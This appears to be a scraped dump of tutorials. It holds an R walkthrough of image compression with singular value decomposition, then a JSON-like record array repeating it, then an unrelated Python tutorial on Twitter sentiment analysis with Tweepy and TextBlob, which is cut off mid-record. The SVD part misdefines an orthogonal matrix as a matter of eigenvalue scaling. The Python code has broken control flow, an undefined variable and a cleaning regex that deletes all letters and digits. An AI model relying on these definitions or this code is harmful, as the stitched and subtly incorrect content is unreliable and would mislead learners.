If you are familiar with matrix and vectors then it would not take much time for you to understand what SVD is, however, if you are not familiar with matrix, I would suggest you to first get the grasp of that.
SVD is the method in which we represent data in form of matrix and then we reduce the number of columns it has in order to represent same information. Why wouldn’t data be lost? One might ask. The answer for that question is the essence of SVD and we are going to see how it works.
Basically, what SVD do is that it breaks a matrix into three other matrix and they are called u, v, and d.
1- A is the real matrix with m*n elements.
2- U is an Orthogonal matrix with m*m elements
3- V is an Orthogonal matrix with n*n elements.
4- D is a diagonal matrix with m*n elements.
Orthogonal matrix is a matrix that do not get its properties changed if multiplied by other numbers. For example, if you have a matrix ‘X’ and you multiply it with any other matrix and get matrix ‘Y’, then if you take ‘S’ common from ‘Y’ then you get the same matrix as ‘X’ and ‘S’ will just be some scaler value which is called eigenvalue.
X*λ = Y (1)
Y= S*X (2)
Where λ is number multiplied to X and S is number that is taken common from Y.
A diagonal matrix means a matrix that only have non-zero numbers diagonally going from top to bottom. Places other than diagonal will have zeros.
To get it clearer, just imagine you are holding a pencil in a 3D plane, now if you multiply some number to the axis of your pencil then it will move to another place in a 3D plane, but the length of your pencil will still be the same.
So, we know that SVD breaks the matrix into three components, then what is the use of it? The use is that when we multiply them back, we get the same matrix as we had earlier. But remember, we do not just multiply them as they are but rather, we use this formula — A=U * D * V^t where t means the transpose of that matrix V.
One thing to keep in mind is that your diagonal matrix D might give you just a list of diagonals numbers and then you will have to impute zeros in non-diagonal places. Also, keep in mind that the number of columns of U will be same as number of rows in D.
But the real question is, how does that all help us in anyway? Let’s see.
When we decompose our matrix A into U, D, V then a few left-most columns of all three matrices represents almost all the information we need to recover our actual data. Remember I did not say all, I say almost all, for example 92% of the information in just 5% columns of total columns. which is a pretty good deal given that you have reduces the size of your data set tremendously. This means that SVD found some relation between all the columns of the matrix A and represented us with same information with fewer columns. Now the columns other than the extreme left most columns are deleted because they are considered as errors, and this process reduces the size of the matrix by deleting almost 90% of the columns of original matrix.
Now let’s see how it works in R. Keep in mind that after each chunk of code you will see the output and a small explanation for that output.
install.packages(“pixmap”,repos = “http://cran.us.r-project.org")library(pixmap) image<- read.pnm(“flower.ppm”)image@size
## [1] 300 400
str(image)
## Formal class ‘pixmapRGB’ [package “pixmap”] with 8 slots ## ..@ red : num [1:300, 1:400] 0.894 0.878 0.851 0.816 0.8 ... ## ..@ green : num [1:300, 1:400] 0.29 0.275 0.255 0.235 0.231 ... ## ..@ blue : num [1:300, 1:400] 0.525 0.51 0.494 0.471 0.463 ... ## ..@ channels: chr [1:3] “red” “green” “blue” ## ..@ size : int [1:2] 300 400 ## ..@ cellres : num [1:2] 1 1 ## ..@ bbox : num [1:4] 0 0 400 300 ## ..@ bbcent : logi FALSE
red.img <- matrix(image@red,nrow = image@size[1], ncol = image@size[2]) blue.img <- matrix(image@blue,nrow = image@size[1], ncol = image@size[2]) green.img <- matrix(image@green,nrow = image@size[1], ncol = image@size[2]) str(red.img)
## num [1:300, 1:400] 0.894 0.878 0.851 0.816 0.8 ...
We see that same number of rows and columns are there in each type of color matrix.
The reason we have separated them into three colors is because in R these three colors makes the basis for every color available in R. But for our example we are going to take red color only, the difference between all the images can be seen below.
image(red.img)
image(green.img)
image(blue.img)
plot(image)
From the above given pictures, I am taking the red matrix for decomposition.
To get a clearer picture, here is the snapshot of the matrix of red color. Remember, this matrix will be decomposed into three components soon.
View(red.img)
You would see that ‘svd’ command in R written down here will broke red matrix into three components. They are d, u, v with their respective rows and columns given.
comp<- svd(red.img) str(comp)
## List of 3 ## $ d: num [1:300] 205.2 37.1 33.1 20.4 15.4 ... ## $ u: num [1:300, 1:300] -0.0431 -0.0427 -0.0421 -0.0419 -0.0418 ... ## $ v: num [1:400, 1:300] -0.0305 -0.0304 -0.0303 -0.03 -0.0298 ...
To get a clearer picture below we also have the snapshots of each one of them.
View(comp$v)
View(t(comp$d))
You can now see that the rows of ‘v’ matrix become column in transposed matrix.
View(comp$d)
You see that it is a list and a list does not multiply with a matrix, so we need to convert it into diagonal matrix when we multiply it back with other components. But to take a feel look below to the snapshot of how it will look after using ‘diag’ command.
d <- diag(comp$d) View(d)
This is how it looks after the number has been diagonally arranged. Important thing to notice here is that only a few starting columns in ‘d’ have more weight compared to others and it keeps decreasing as you go from left to right, hence we need only need those columns that are to the left most of matrix. Let’s take 25 of them which might be representing almost 90% of the information. Note: I have not calculated the percentage, it is just an assumption.
Now before we multiply those first 25 columns from each one of these matrices we need to be aware that ‘u’ will remain the same, but ‘v’ has to be transposed in order to make it follow the law of matrix.
compressed.image<- (comp$u[,1:25] %*% diag(comp$d[1:25]) %*% t(comp$v[,1:25])) image(compressed.image)
Remember, the columns of left matrix must always be equal to the rows of right matrix. If some error occurs, check your columns and rows.
See that this last image is not as clear as we had earlier, but it is obvious that it is the image of a flower; but we have reduced the number of columns and hence we need very less memory to show this image compared to the space needed to represent the original red color matrix.
References:
White, J. (2009). “Image Compression with the SVD in R”. RBLOGGERS. https://www.r-bloggers.com/image-compression-with-the-svd-in-r/
|
[
{
"code": null,
"e": 382,
"s": 172,
"text": "If you are familiar with matrix and vectors then it would not take much time for you to understand what SVD is, however, if you are not familiar with matrix, I would suggest you to first get the grasp of that."
},
{
"code": null,
"e": 664,
"s": 382,
"text": "SVD is the method in which we represent data in form of matrix and then we reduce the number of columns it has in order to represent same information. Why wouldn’t data be lost? One might ask. The answer for that question is the essence of SVD and we are going to see how it works."
},
{
"code": null,
"e": 771,
"s": 664,
"text": "Basically, what SVD do is that it breaks a matrix into three other matrix and they are called u, v, and d."
},
{
"code": null,
"e": 814,
"s": 771,
"text": "1- A is the real matrix with m*n elements."
},
{
"code": null,
"e": 861,
"s": 814,
"text": "2- U is an Orthogonal matrix with m*m elements"
},
{
"code": null,
"e": 909,
"s": 861,
"text": "3- V is an Orthogonal matrix with n*n elements."
},
{
"code": null,
"e": 954,
"s": 909,
"text": "4- D is a diagonal matrix with m*n elements."
},
{
"code": null,
"e": 1295,
"s": 954,
"text": "Orthogonal matrix is a matrix that do not get its properties changed if multiplied by other numbers. For example, if you have a matrix ‘X’ and you multiply it with any other matrix and get matrix ‘Y’, then if you take ‘S’ common from ‘Y’ then you get the same matrix as ‘X’ and ‘S’ will just be some scaler value which is called eigenvalue."
},
{
"code": null,
"e": 1307,
"s": 1295,
"text": "X*λ = Y (1)"
},
{
"code": null,
"e": 1318,
"s": 1307,
"text": "Y= S*X (2)"
},
{
"code": null,
"e": 1397,
"s": 1318,
"text": "Where λ is number multiplied to X and S is number that is taken common from Y."
},
{
"code": null,
"e": 1543,
"s": 1397,
"text": "A diagonal matrix means a matrix that only have non-zero numbers diagonally going from top to bottom. Places other than diagonal will have zeros."
},
{
"code": null,
"e": 1778,
"s": 1543,
"text": "To get it clearer, just imagine you are holding a pencil in a 3D plane, now if you multiply some number to the axis of your pencil then it will move to another place in a 3D plane, but the length of your pencil will still be the same."
},
{
"code": null,
"e": 2103,
"s": 1778,
"text": "So, we know that SVD breaks the matrix into three components, then what is the use of it? The use is that when we multiply them back, we get the same matrix as we had earlier. But remember, we do not just multiply them as they are but rather, we use this formula — A=U * D * V^t where t means the transpose of that matrix V."
},
{
"code": null,
"e": 2359,
"s": 2103,
"text": "One thing to keep in mind is that your diagonal matrix D might give you just a list of diagonals numbers and then you will have to impute zeros in non-diagonal places. Also, keep in mind that the number of columns of U will be same as number of rows in D."
},
{
"code": null,
"e": 2433,
"s": 2359,
"text": "But the real question is, how does that all help us in anyway? Let’s see."
},
{
"code": null,
"e": 3171,
"s": 2433,
"text": "When we decompose our matrix A into U, D, V then a few left-most columns of all three matrices represents almost all the information we need to recover our actual data. Remember I did not say all, I say almost all, for example 92% of the information in just 5% columns of total columns. which is a pretty good deal given that you have reduces the size of your data set tremendously. This means that SVD found some relation between all the columns of the matrix A and represented us with same information with fewer columns. Now the columns other than the extreme left most columns are deleted because they are considered as errors, and this process reduces the size of the matrix by deleting almost 90% of the columns of original matrix."
},
{
"code": null,
"e": 3312,
"s": 3171,
"text": "Now let’s see how it works in R. Keep in mind that after each chunk of code you will see the output and a small explanation for that output."
},
{
"code": null,
"e": 3434,
"s": 3312,
"text": "install.packages(“pixmap”,repos = “http://cran.us.r-project.org\")library(pixmap) image<- read.pnm(“flower.ppm”)image@size"
},
{
"code": null,
"e": 3449,
"s": 3434,
"text": "## [1] 300 400"
},
{
"code": null,
"e": 3460,
"s": 3449,
"text": "str(image)"
},
{
"code": null,
"e": 3891,
"s": 3460,
"text": "## Formal class ‘pixmapRGB’ [package “pixmap”] with 8 slots ## ..@ red : num [1:300, 1:400] 0.894 0.878 0.851 0.816 0.8 ... ## ..@ green : num [1:300, 1:400] 0.29 0.275 0.255 0.235 0.231 ... ## ..@ blue : num [1:300, 1:400] 0.525 0.51 0.494 0.471 0.463 ... ## ..@ channels: chr [1:3] “red” “green” “blue” ## ..@ size : int [1:2] 300 400 ## ..@ cellres : num [1:2] 1 1 ## ..@ bbox : num [1:4] 0 0 400 300 ## ..@ bbcent : logi FALSE"
},
{
"code": null,
"e": 4129,
"s": 3891,
"text": "red.img <- matrix(image@red,nrow = image@size[1], ncol = image@size[2]) blue.img <- matrix(image@blue,nrow = image@size[1], ncol = image@size[2]) green.img <- matrix(image@green,nrow = image@size[1], ncol = image@size[2]) str(red.img)"
},
{
"code": null,
"e": 4183,
"s": 4129,
"text": "## num [1:300, 1:400] 0.894 0.878 0.851 0.816 0.8 ..."
},
{
"code": null,
"e": 4267,
"s": 4183,
"text": "We see that same number of rows and columns are there in each type of color matrix."
},
{
"code": null,
"e": 4516,
"s": 4267,
"text": "The reason we have separated them into three colors is because in R these three colors makes the basis for every color available in R. But for our example we are going to take red color only, the difference between all the images can be seen below."
},
{
"code": null,
"e": 4531,
"s": 4516,
"text": "image(red.img)"
},
{
"code": null,
"e": 4548,
"s": 4531,
"text": "image(green.img)"
},
{
"code": null,
"e": 4564,
"s": 4548,
"text": "image(blue.img)"
},
{
"code": null,
"e": 4576,
"s": 4564,
"text": "plot(image)"
},
{
"code": null,
"e": 4653,
"s": 4576,
"text": "From the above given pictures, I am taking the red matrix for decomposition."
},
{
"code": null,
"e": 4797,
"s": 4653,
"text": "To get a clearer picture, here is the snapshot of the matrix of red color. Remember, this matrix will be decomposed into three components soon."
},
{
"code": null,
"e": 4811,
"s": 4797,
"text": "View(red.img)"
},
{
"code": null,
"e": 4975,
"s": 4811,
"text": "You would see that ‘svd’ command in R written down here will broke red matrix into three components. They are d, u, v with their respective rows and columns given."
},
{
"code": null,
"e": 5005,
"s": 4975,
"text": "comp<- svd(red.img) str(comp)"
},
{
"code": null,
"e": 5208,
"s": 5005,
"text": "## List of 3 ## $ d: num [1:300] 205.2 37.1 33.1 20.4 15.4 ... ## $ u: num [1:300, 1:300] -0.0431 -0.0427 -0.0421 -0.0419 -0.0418 ... ## $ v: num [1:400, 1:300] -0.0305 -0.0304 -0.0303 -0.03 -0.0298 ..."
},
{
"code": null,
"e": 5287,
"s": 5208,
"text": "To get a clearer picture below we also have the snapshots of each one of them."
},
{
"code": null,
"e": 5300,
"s": 5287,
"text": "View(comp$v)"
},
{
"code": null,
"e": 5316,
"s": 5300,
"text": "View(t(comp$d))"
},
{
"code": null,
"e": 5396,
"s": 5316,
"text": "You can now see that the rows of ‘v’ matrix become column in transposed matrix."
},
{
"code": null,
"e": 5409,
"s": 5396,
"text": "View(comp$d)"
},
{
"code": null,
"e": 5667,
"s": 5409,
"text": "You see that it is a list and a list does not multiply with a matrix, so we need to convert it into diagonal matrix when we multiply it back with other components. But to take a feel look below to the snapshot of how it will look after using ‘diag’ command."
},
{
"code": null,
"e": 5693,
"s": 5667,
"text": "d <- diag(comp$d) View(d)"
},
{
"code": null,
"e": 6151,
"s": 5693,
"text": "This is how it looks after the number has been diagonally arranged. Important thing to notice here is that only a few starting columns in ‘d’ have more weight compared to others and it keeps decreasing as you go from left to right, hence we need only need those columns that are to the left most of matrix. Let’s take 25 of them which might be representing almost 90% of the information. Note: I have not calculated the percentage, it is just an assumption."
},
{
"code": null,
"e": 6355,
"s": 6151,
"text": "Now before we multiply those first 25 columns from each one of these matrices we need to be aware that ‘u’ will remain the same, but ‘v’ has to be transposed in order to make it follow the law of matrix."
},
{
"code": null,
"e": 6459,
"s": 6355,
"text": "compressed.image<- (comp$u[,1:25] %*% diag(comp$d[1:25]) %*% t(comp$v[,1:25])) image(compressed.image)"
},
{
"code": null,
"e": 6597,
"s": 6459,
"text": "Remember, the columns of left matrix must always be equal to the rows of right matrix. If some error occurs, check your columns and rows."
},
{
"code": null,
"e": 6878,
"s": 6597,
"text": "See that this last image is not as clear as we had earlier, but it is obvious that it is the image of a flower; but we have reduced the number of columns and hence we need very less memory to show this image compared to the space needed to represent the original red color matrix."
},
{
"code": null,
"e": 6890,
"s": 6878,
"text": "References:"
}
] |
Step by Step: Twitter Sentiment Analysis in Python | by Yalin Yener | Towards Data Science
|
It is no longer difficult to understand what people think about a topic by analysing the tweets shared by people. Sentiment analysis is one of the most popular use cases for NLP (Natural Language Processing).
In this post, I am going to use “Tweepy,” which is an easy-to-use Python library for accessing the Twitter API. You need to have a Twitter developer account and sample codes to do this analysis. You can find the Jupyter Notebook code in my Github Repository.
The aim of this post is to analyse what people think about the second lockdown in London.
Before analysis, you need to install textblob and tweepy libraries using !pip install command on your Jupyter Notebook.
# Install Libraries!pip install textblob!pip install tweepy
You need to import libraries that you will use in this sentiment analysis project.
# Import Librariesfrom textblob import TextBlobimport sysimport tweepyimport matplotlib.pyplot as pltimport pandas as pdimport numpy as npimport osimport nltkimport pycountryimport reimport stringfrom wordcloud import WordCloud, STOPWORDSfrom PIL import Imagefrom nltk.sentiment.vader import SentimentIntensityAnalyzerfrom langdetect import detectfrom nltk.stem import SnowballStemmerfrom nltk.sentiment.vader import SentimentIntensityAnalyzerfrom sklearn.feature_extraction.text import CountVectorizer
Tweepy supports both OAuth 1a (application-user) and OAuth 2 (application-only) authentication. Authentication is handled by the tweepy.AuthHandler class.
OAuth 2 is a method of authentication where an application makes API requests without the user context. Use this method if you just need read-only access to public information.
You first register our client application and acquire a consumer key and secret. Then you create an AppAuthHandler instance, passing in our consumer key and secret.
Before the authentication, you need to have Twitter Developer Account. If you don’t have, you can apply by using this link. Getting Twitter developer account usually takes a day or two, or sometimes more, for your application to be reviewed by Twitter.
# AuthenticationconsumerKey = “Type your consumer key here”consumerSecret = “Type your consumer secret here”accessToken = “Type your accedd token here”accessTokenSecret = “Type your access token secret here”auth = tweepy.OAuthHandler(consumerKey, consumerSecret)auth.set_access_token(accessToken, accessTokenSecret)api = tweepy.API(auth)
After your authentication, you need to use tweepy to get text and use Textblob to calculate positive, negative, neutral, polarity and compound parameters from the text.
#Sentiment Analysisdef percentage(part,whole): return 100 * float(part)/float(whole)keyword = input(“Please enter keyword or hashtag to search: “)noOfTweet = int(input (“Please enter how many tweets to analyze: “))tweets = tweepy.Cursor(api.search, q=keyword).items(noOfTweet)positive = 0negative = 0neutral = 0polarity = 0tweet_list = []neutral_list = []negative_list = []positive_list = []for tweet in tweets: #print(tweet.text) tweet_list.append(tweet.text) analysis = TextBlob(tweet.text) score = SentimentIntensityAnalyzer().polarity_scores(tweet.text) neg = score[‘neg’] neu = score[‘neu’] pos = score[‘pos’] comp = score[‘compound’] polarity += analysis.sentiment.polarity if neg > pos: negative_list.append(tweet.text) negative += 1elif pos > neg: positive_list.append(tweet.text) positive += 1 elif pos == neg: neutral_list.append(tweet.text) neutral += 1positive = percentage(positive, noOfTweet)negative = percentage(negative, noOfTweet)neutral = percentage(neutral, noOfTweet)polarity = percentage(polarity, noOfTweet)positive = format(positive, ‘.1f’)negative = format(negative, ‘.1f’)neutral = format(neutral, ‘.1f’)
The scenario in this post like that, the user should type keyword or hashtag (lockdown2 london) and type how many tweets (2500) that want to get and analyse.
The number of tweets parameter is important because of the limit.
After getting 2500 tweets about “lockdown2 london”, let’s have a look number of tweets that which sentiments
#Number of Tweets (Total, Positive, Negative, Neutral)tweet_list = pd.DataFrame(tweet_list)neutral_list = pd.DataFrame(neutral_list)negative_list = pd.DataFrame(negative_list)positive_list = pd.DataFrame(positive_list)print(“total number: “,len(tweet_list))print(“positive number: “,len(positive_list))print(“negative number: “, len(negative_list))print(“neutral number: “,len(neutral_list))
You could get 2500 tweets and;
1025 (41.0%) of tweets include positive sentiment
580 (23.2%) of tweets include negative sentiment
895 (35.8%) of tweets include neutral sentiment
#Creating PieCartlabels = [‘Positive [‘+str(positive)+’%]’ , ‘Neutral [‘+str(neutral)+’%]’,’Negative [‘+str(negative)+’%]’]sizes = [positive, neutral, negative]colors = [‘yellowgreen’, ‘blue’,’red’]patches, texts = plt.pie(sizes,colors=colors, startangle=90)plt.style.use(‘default’)plt.legend(labels)plt.title(“Sentiment Analysis Result for keyword= “+keyword+”” )plt.axis(‘equal’)plt.show()
Let’s have a look tweet list.
tweet_list
When you have a look tweet list you can see some duplicated tweets, so you need to drop duplicates records using drop_duplicates function.
tweet_list.drop_duplicates(inplace = True)
Our new data frame has 1281 unique tweets.
Firstly, I create new data frame (tw_list) and a new feature(text), then clean text by using lambda function and clean RT, link, punctuation characters and finally convert to lowercase.
#Cleaning Text (RT, Punctuation etc)#Creating new dataframe and new featurestw_list = pd.DataFrame(tweet_list)tw_list[“text”] = tw_list[0]#Removing RT, Punctuation etcremove_rt = lambda x: re.sub(‘RT @\w+: ‘,” “,x)rt = lambda x: re.sub(“(@[A-Za-z0–9]+)|([0-9A-Za-z \t])|(\w+:\/\/\S+)”,” “,x)tw_list[“text”] = tw_list.text.map(remove_rt).map(rt)tw_list[“text”] = tw_list.text.str.lower()tw_list.head(10)
Now, I can use cleaned text to calculate polarity, subjectivity, sentiment, negative, positive, neutral and compound parameters again. For all calculated parameters, I create new features to my data frame
#Calculating Negative, Positive, Neutral and Compound valuestw_list[[‘polarity’, ‘subjectivity’]] = tw_list[‘text’].apply(lambda Text: pd.Series(TextBlob(Text).sentiment))for index, row in tw_list[‘text’].iteritems(): score = SentimentIntensityAnalyzer().polarity_scores(row) neg = score[‘neg’] neu = score[‘neu’] pos = score[‘pos’] comp = score[‘compound’] if neg > pos: tw_list.loc[index, ‘sentiment’] = “negative” elif pos > neg: tw_list.loc[index, ‘sentiment’] = “positive” else: tw_list.loc[index, ‘sentiment’] = “neutral” tw_list.loc[index, ‘neg’] = neg tw_list.loc[index, ‘neu’] = neu tw_list.loc[index, ‘pos’] = pos tw_list.loc[index, ‘compound’] = comptw_list.head(10)
You can split your data frame into 3 groups based on sentiment. For this one, create 3 new data frame (tw_list_negative, tw_list_positive, tw_list_neutral) and import from original tw_list data frame
#Creating new data frames for all sentiments (positive, negative and neutral)tw_list_negative = tw_list[tw_list[“sentiment”]==”negative”]tw_list_positive = tw_list[tw_list[“sentiment”]==”positive”]tw_list_neutral = tw_list[tw_list[“sentiment”]==”neutral”]
Let’s count values for sentiment features and see total — percentage.
#Function for count_values_in single columns
def count_values_in_column(data,feature): total=data.loc[:,feature].value_counts(dropna=False) percentage=round(data.loc[:,feature].value_counts(dropna=False,normalize=True)*100,2) return pd.concat([total,percentage],axis=1,keys=[‘Total’,’Percentage’])#Count_values for sentimentcount_values_in_column(tw_list,”sentiment”)
You can create a chart by using number of sentiment tweets.
# create data for Pie Chartpichart = count_values_in_column(tw_list,”sentiment”)names= pc.indexsize=pc[“Percentage”] # Create a circle for the center of the plotmy_circle=plt.Circle( (0,0), 0.7, color=’white’)plt.pie(size, labels=names, colors=[‘green’,’blue’,’red’])p=plt.gcf()p.gca().add_artist(my_circle)plt.show()
Now you can prepare to create worcloud using 1281 tweets, So you can realize that which words most used in these tweets. To create a worcloud, firstly let’s define a function below, so you can use wordcloud again for all tweets, positive tweets, negative tweets etc.
#Function to Create Wordclouddef create_wordcloud(text): mask = np.array(Image.open(“cloud.png”)) stopwords = set(STOPWORDS) wc = WordCloud(background_color=”white”, mask = mask, max_words=3000, stopwords=stopwords, repeat=True) wc.generate(str(text)) wc.to_file(“wc.png”) print(“Word Cloud Saved Successfully”) path=”wc.png” display(Image.open(path))
After defining the function, you can have a look wordcloud for all tweets
#Creating wordcloud for all tweetscreate_wordcloud(tw_list[“text”].values)
Word Cloud for tweets that have positive sentiments;
#Creating wordcloud for positive sentimentcreate_wordcloud(tw_list_positive[“text”].values)
Word Cloud for tweets that have negative sentiments;
#Creating wordcloud for negative sentimentcreate_wordcloud(tw_list_negative[“text”].values)
Let’s calculate the tweet length and word count. So you can see the density of words and characters used in tweets based on different sentiment.
#Calculating tweet’s lenght and word counttw_list[‘text_len’] = tw_list[‘text’].astype(str).apply(len)tw_list[‘text_word_count’] = tw_list[‘text’].apply(lambda x: len(str(x).split()))round(pd.DataFrame(tw_list.groupby("sentiment").text_len.mean()),2)
round(pd.DataFrame(tw_list.groupby(“sentiment”).text_word_count.mean()),2)
Applying count vectorizer provides the capability to preprocess your text data prior to generating the vector representation making it a highly flexible feature representation module for text. After count vectorizer, it is possible to analyze the words with two or three or whatever you want.
Applying stemmer is also provides the root of words. So you can eliminate words that come from the same root, such as ;
connect
connection
connected
connections
connects
comes from “connect”. If you apply the stemmer function, you can consider these all words as same
#Removing Punctuationdef remove_punct(text): text = “”.join([char for char in text if char not in string.punctuation]) text = re.sub(‘[0–9]+’, ‘’, text) return texttw_list[‘punct’] = tw_list[‘text’].apply(lambda x: remove_punct(x))#Appliyng tokenizationdef tokenization(text): text = re.split('\W+', text) return texttw_list['tokenized'] = tw_list['punct'].apply(lambda x: tokenization(x.lower()))#Removing stopwordsstopword = nltk.corpus.stopwords.words('english')def remove_stopwords(text): text = [word for word in text if word not in stopword] return text tw_list['nonstop'] = tw_list['tokenized'].apply(lambda x: remove_stopwords(x))#Appliyng Stemmerps = nltk.PorterStemmer()def stemming(text): text = [ps.stem(word) for word in text] return texttw_list['stemmed'] = tw_list['nonstop'].apply(lambda x: stemming(x))#Cleaning Textdef clean_text(text): text_lc = "".join([word.lower() for word in text if word not in string.punctuation]) # remove puntuation text_rc = re.sub('[0-9]+', '', text_lc) tokens = re.split('\W+', text_rc) # tokenization text = [ps.stem(word) for word in tokens if word not in stopword] # remove stopwords and stemming return texttw_list.head()
After applying countverctorizer, two results show us all 1281 tweets have 2966 unique words.
If you have a look at our data frame, you can see new features such as punct, tokenized, nonstop, stemmed.
Now, you can apply coun vectorizer the see all 2966 unique words as a new features.
#Appliyng CountvectorizercountVectorizer = CountVectorizer(analyzer=clean_text) countVector = countVectorizer.fit_transform(tw_list[‘text’])print(‘{} Number of reviews has {} words’.format(countVector.shape[0], countVector.shape[1]))#print(countVectorizer.get_feature_names())1281 Number of reviews has 2966 wordscount_vect_df = pd.DataFrame(countVector.toarray(), columns=countVectorizer.get_feature_names())count_vect_df.head()
You can sort values as a descending to see most used words
# Most Used Wordscount = pd.DataFrame(count_vect_df.sum())countdf = count.sort_values(0,ascending=False).head(20)countdf[1:11]
Building n gram model helps us to predict most probably word that might follow this sequence. Firstly let’s create a function then built n2_bigram, n3_trigram etc.
#Function to ngramdef get_top_n_gram(corpus,ngram_range,n=None): vec = CountVectorizer(ngram_range=ngram_range,stop_words = ‘english’).fit(corpus) bag_of_words = vec.transform(corpus) sum_words = bag_of_words.sum(axis=0) words_freq = [(word, sum_words[0, idx]) for word, idx in vec.vocabulary_.items()] words_freq =sorted(words_freq, key = lambda x: x[1], reverse=True) return words_freq[:n]#n2_bigramn2_bigrams = get_top_n_gram(tw_list[‘text’],(2,2),20)n2_bigrams
#n3_trigramn3_trigrams = get_top_n_gram(tw_list[‘text’],(3,3),20)n3_trigrams
Finally, you can analyze sentiment using tweets and you can realize which words most used and which words used together.
Thanks for reading my post and I hope you like it. Feel free to contact me if you have any questions or if you’d like to share your comments.
|
[
{
"code": null,
"e": 380,
"s": 171,
"text": "It is no longer difficult to understand what people think about a topic by analysing the tweets shared by people. Sentiment analysis is one of the most popular use cases for NLP (Natural Language Processing)."
},
{
"code": null,
"e": 639,
"s": 380,
"text": "In this post, I am going to use “Tweepy,” which is an easy-to-use Python library for accessing the Twitter API. You need to have a Twitter developer account and sample codes to do this analysis. You can find the Jupyter Notebook code in my Github Repository."
},
{
"code": null,
"e": 729,
"s": 639,
"text": "The aim of this post is to analyse what people think about the second lockdown in London."
},
{
"code": null,
"e": 849,
"s": 729,
"text": "Before analysis, you need to install textblob and tweepy libraries using !pip install command on your Jupyter Notebook."
},
{
"code": null,
"e": 909,
"s": 849,
"text": "# Install Libraries!pip install textblob!pip install tweepy"
},
{
"code": null,
"e": 992,
"s": 909,
"text": "You need to import libraries that you will use in this sentiment analysis project."
},
{
"code": null,
"e": 1495,
"s": 992,
"text": "# Import Librariesfrom textblob import TextBlobimport sysimport tweepyimport matplotlib.pyplot as pltimport pandas as pdimport numpy as npimport osimport nltkimport pycountryimport reimport stringfrom wordcloud import WordCloud, STOPWORDSfrom PIL import Imagefrom nltk.sentiment.vader import SentimentIntensityAnalyzerfrom langdetect import detectfrom nltk.stem import SnowballStemmerfrom nltk.sentiment.vader import SentimentIntensityAnalyzerfrom sklearn.feature_extraction.text import CountVectorizer"
},
{
"code": null,
"e": 1650,
"s": 1495,
"text": "Tweepy supports both OAuth 1a (application-user) and OAuth 2 (application-only) authentication. Authentication is handled by the tweepy.AuthHandler class."
},
{
"code": null,
"e": 1827,
"s": 1650,
"text": "OAuth 2 is a method of authentication where an application makes API requests without the user context. Use this method if you just need read-only access to public information."
},
{
"code": null,
"e": 1992,
"s": 1827,
"text": "You first register our client application and acquire a consumer key and secret. Then you create an AppAuthHandler instance, passing in our consumer key and secret."
},
{
"code": null,
"e": 2245,
"s": 1992,
"text": "Before the authentication, you need to have Twitter Developer Account. If you don’t have, you can apply by using this link. Getting Twitter developer account usually takes a day or two, or sometimes more, for your application to be reviewed by Twitter."
},
{
"code": null,
"e": 2583,
"s": 2245,
"text": "# AuthenticationconsumerKey = “Type your consumer key here”consumerSecret = “Type your consumer secret here”accessToken = “Type your accedd token here”accessTokenSecret = “Type your access token secret here”auth = tweepy.OAuthHandler(consumerKey, consumerSecret)auth.set_access_token(accessToken, accessTokenSecret)api = tweepy.API(auth)"
},
{
"code": null,
"e": 2752,
"s": 2583,
"text": "After your authentication, you need to use tweepy to get text and use Textblob to calculate positive, negative, neutral, polarity and compound parameters from the text."
},
{
"code": null,
"e": 3886,
"s": 2752,
"text": "#Sentiment Analysisdef percentage(part,whole): return 100 * float(part)/float(whole)keyword = input(“Please enter keyword or hashtag to search: “)noOfTweet = int(input (“Please enter how many tweets to analyze: “))tweets = tweepy.Cursor(api.search, q=keyword).items(noOfTweet)positive = 0negative = 0neutral = 0polarity = 0tweet_list = []neutral_list = []negative_list = []positive_list = []for tweet in tweets: #print(tweet.text) tweet_list.append(tweet.text) analysis = TextBlob(tweet.text) score = SentimentIntensityAnalyzer().polarity_scores(tweet.text) neg = score[‘neg’] neu = score[‘neu’] pos = score[‘pos’] comp = score[‘compound’] polarity += analysis.sentiment.polarity if neg > pos: negative_list.append(tweet.text) negative += 1elif pos > neg: positive_list.append(tweet.text) positive += 1 elif pos == neg: neutral_list.append(tweet.text) neutral += 1positive = percentage(positive, noOfTweet)negative = percentage(negative, noOfTweet)neutral = percentage(neutral, noOfTweet)polarity = percentage(polarity, noOfTweet)positive = format(positive, ‘.1f’)negative = format(negative, ‘.1f’)neutral = format(neutral, ‘.1f’)"
},
{
"code": null,
"e": 4044,
"s": 3886,
"text": "The scenario in this post like that, the user should type keyword or hashtag (lockdown2 london) and type how many tweets (2500) that want to get and analyse."
},
{
"code": null,
"e": 4110,
"s": 4044,
"text": "The number of tweets parameter is important because of the limit."
},
{
"code": null,
"e": 4219,
"s": 4110,
"text": "After getting 2500 tweets about “lockdown2 london”, let’s have a look number of tweets that which sentiments"
},
{
"code": null,
"e": 4611,
"s": 4219,
"text": "#Number of Tweets (Total, Positive, Negative, Neutral)tweet_list = pd.DataFrame(tweet_list)neutral_list = pd.DataFrame(neutral_list)negative_list = pd.DataFrame(negative_list)positive_list = pd.DataFrame(positive_list)print(“total number: “,len(tweet_list))print(“positive number: “,len(positive_list))print(“negative number: “, len(negative_list))print(“neutral number: “,len(neutral_list))"
},
{
"code": null,
"e": 4642,
"s": 4611,
"text": "You could get 2500 tweets and;"
},
{
"code": null,
"e": 4692,
"s": 4642,
"text": "1025 (41.0%) of tweets include positive sentiment"
},
{
"code": null,
"e": 4741,
"s": 4692,
"text": "580 (23.2%) of tweets include negative sentiment"
},
{
"code": null,
"e": 4789,
"s": 4741,
"text": "895 (35.8%) of tweets include neutral sentiment"
},
{
"code": null,
"e": 5181,
"s": 4789,
"text": "#Creating PieCartlabels = [‘Positive [‘+str(positive)+’%]’ , ‘Neutral [‘+str(neutral)+’%]’,’Negative [‘+str(negative)+’%]’]sizes = [positive, neutral, negative]colors = [‘yellowgreen’, ‘blue’,’red’]patches, texts = plt.pie(sizes,colors=colors, startangle=90)plt.style.use(‘default’)plt.legend(labels)plt.title(“Sentiment Analysis Result for keyword= “+keyword+”” )plt.axis(‘equal’)plt.show()"
},
{
"code": null,
"e": 5211,
"s": 5181,
"text": "Let’s have a look tweet list."
},
{
"code": null,
"e": 5222,
"s": 5211,
"text": "tweet_list"
},
{
"code": null,
"e": 5361,
"s": 5222,
"text": "When you have a look tweet list you can see some duplicated tweets, so you need to drop duplicates records using drop_duplicates function."
},
{
"code": null,
"e": 5404,
"s": 5361,
"text": "tweet_list.drop_duplicates(inplace = True)"
},
{
"code": null,
"e": 5447,
"s": 5404,
"text": "Our new data frame has 1281 unique tweets."
},
{
"code": null,
"e": 5633,
"s": 5447,
"text": "Firstly, I create new data frame (tw_list) and a new feature(text), then clean text by using lambda function and clean RT, link, punctuation characters and finally convert to lowercase."
},
{
"code": null,
